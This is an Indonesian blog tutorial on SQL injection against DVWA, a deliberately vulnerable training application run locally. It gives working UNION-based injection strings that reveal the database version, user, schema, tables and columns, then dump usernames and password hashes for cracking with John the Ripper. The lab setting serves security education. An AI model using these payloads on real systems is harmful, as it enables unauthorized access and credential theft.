Wednesday, November 1, 2023

DVWA SQL Injection

 DVWA SQL Injection


Damn Vulnerable Web Application (DVWA) adalah aplikasi web yang dirancang secara khusus untuk tujuan pendidikan dan pelatihan dalam keamanan web. Kegunaan utama DVWA adalah sebagai berikut:

* Pelatihan Keamanan Web: DVWA memberikan lingkungan yang aman bagi para profesional keamanan, pengembang web, dan peneliti keamanan untuk belajar tentang kerentanan dan ancaman yang mungkin terjadi pada aplikasi web. Ini memungkinkan mereka untuk mengasah keterampilan mereka dalam mengidentifikasi, mengeksploitasi, dan mengatasi kerentanan keamanan.

* Demonstrasi Praktik: DVWA memungkinkan instruktur, peneliti, dan pelaku keamanan untuk secara praktis menunjukkan bagaimana serangan terhadap aplikasi web terjadi dan bagaimana cara mengatasi mereka. Hal ini membantu dalam penyuluhan keamanan web dan pemahaman praktik terbaik.

* Pengujian Keamanan: DVWA dapat digunakan sebagai alat pengujian untuk menguji alat keamanan seperti pemindai kerentanan, alat uji penetrasi, dan solusi keamanan lainnya. Ini membantu organisasi dalam mengidentifikasi dan mengatasi kerentanan dalam aplikasi web mereka sebelum penyerang dapat mengeksploitasinya.

* Pengembangan Keterampilan: DVWA adalah platform yang ideal untuk mengembangkan keterampilan pengetesan penetrasi, pemecahan masalah, dan penilaian risiko dalam konteks keamanan web. Ini dapat membantu individu yang tertarik dalam karir keamanan siber untuk memahami cara bekerja dengan kerentanan dan melindungi aplikasi web.


Bahan atau tools untuk menjalankan Progam DVWA : 

-Xampp

- DVWA (Document)


Langkah - langkah menjalankan progam DVWA

Step 1: Install Xampp

<https://www.apachefriends.org/download.html>

Tampilan jika menggunakan Windows


Jalankan atau click start pada Apache dan MySQL
Disini, saya menggunakan Linux untuk install DVWA
jalankan xampp menggunakan perintah berikut



Step 2: Download DVWA Source Document

<https://github.com/digininja/DVWA>


Download menggunakan git jika menggunakan linux lalu extract


lalu pindah ke directory /var/www/html
clone link git tersebut ke directory /var/www/html




ketikkan command berikut 

lalu pindah ke directory config untuk mengubah file extention menjadi php


Ikuti langkah selanjutnya






lalu exit
Kemudian ikuti langkah dibawah



lalu edit allow-url_include, dari off menjadi on

Step 3: Setup DVWA for SQL Injection

Setelah berhasil install DVWA, buka browser dan masukan URL 127.0.0.1/DVWA/login.php.Login menggunakan username "admin" dan password nya "password". Username dan password ini adalah konfigurasi default pada DVWA. Setelah berhasil login, rubah DVWA Security menjadi LOW dan pilih menu SQL Injection.


Step 4: Basic Injection

Pada bagian User ID. masukan "1" dan tekan Submit. Hal ini akan mengprint ID, First name, dan juga Surname yang akan ditampilkan di layar seperti yang bisa dilihat pada gambar berikut:



Syntax yang di-eksploitasi adalah:

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

Menariknya, ketika kalian melihat URL, kalian akan melihat bahwa ada parameter ID, tempatku seperti ini:

http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#

Mari rubah parameter ID pada URL menjadi 1,2,3,4 dan seterusnya. Ini akan memberikan kita First name dan Surname dari semua user yang ada:

ID: 2

First name: Gordon 

Surname: Brown 

ID: 3 

First name: Hack 

Surname: Me 

ID: 4 

First name: Pablo 

Surname: Picasso 

Jika kalian mengeksekusi perintah ini langsung ke DVWA database, query untuk User ID 3 akan seperti ini:


Step 5: Always True Scenario
Teknik lebih lanjut untuk mengambil semua First_names dan Surnames dari database perlu menggunakan input  %' or '1'='1' 


Simbol persen % tidak setara dengan apapun dan menjadi 'false'. Kemudian query '1'='1' dibaca sebagai 'true' karna 1 selalu sebanding dengan 1. Jika kalian mengeksekusi hal tersebut pada database, maka menjadi seperti ini:

SELECT first_name, last_name FROM users WHERE user_id = '%' or '1'='1';


Step 6: Display Database Version

Untuk mengetahui versi dari database DVWA yang berjalan, masukan teks dibawah ini di dalam User ID:

%' or 0=0 union select null, version() #

Versi database akan diperlihatkan di baris terakhir seperti pada gambar berikut:



Step 7: Display Database User

Untuk menampilkan Database user yang mengeksekusi kode PHP dalam database, masukan teks di bawah ini pada User ID:

%' or 0=0 union select null, user() #

Database dari user tersebut akan ditampilkan pada baris terakhir seperti pada gambar berikut:


Step 8: Display Database Name

Untuk menampilkan database nama, kita akan inject kode SQL di bawah ini ke dalam User ID:

%' or 1=1 union select null, database() #

Database nama tersebut akan ditampilkan pada baris terakhir seperti pada gambar berikut:


Step 9: Display All Tables in Information_Schema

"Information Schema" adalah tempat untuk menyimpan semua informasi tentang tabel, seperti kolom, dan semua database untuk MySQL. Untuk menampilkan information_schema bisa gunakan perintah berikut:

%' and 1=0 union select null, table_name from information_schema.tables #


Step 10: Display All User Tables in Information_Schema

Pada tahap ini, kita akan menampilkan semua tabel yang dimulai dengan prefix user yang disimpan di dalam information_schema, masukan kode SQL berikut:

%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%


Step 11: Display All the Columns Field in the Information_Schema User Table

Kita akan menampilkan semua kolom yang merepresentasikan tabel user. Informasi ini termasuk User_ID, First name, Last name, User, dan juga Password. Masukan kode SQL berikut pada User_ID:

%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' # 



Step 12: Display Column Field Contents

Untuk menampilkan semua informasi penting untuk autentikasi yang tersimpan di information_schema, Gunakan kode SQL berikut ini:

%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #


Dari gambar diatas, kita dapat melihat password yang diberikan dalam format hash. Untuk mengekstrak password tersebut, copy MD5 hash dan gunakan aplikasi seperti John the Ripper untuk meng-crack hash tersebut.

No comments:

Post a Comment

Coding: Create a Smart Contract

Smart Contract adalah program komputer yang berjalan di atas jaringan blockchain dan secara otomatis mengeksekusi perjanjian yang telah dipr...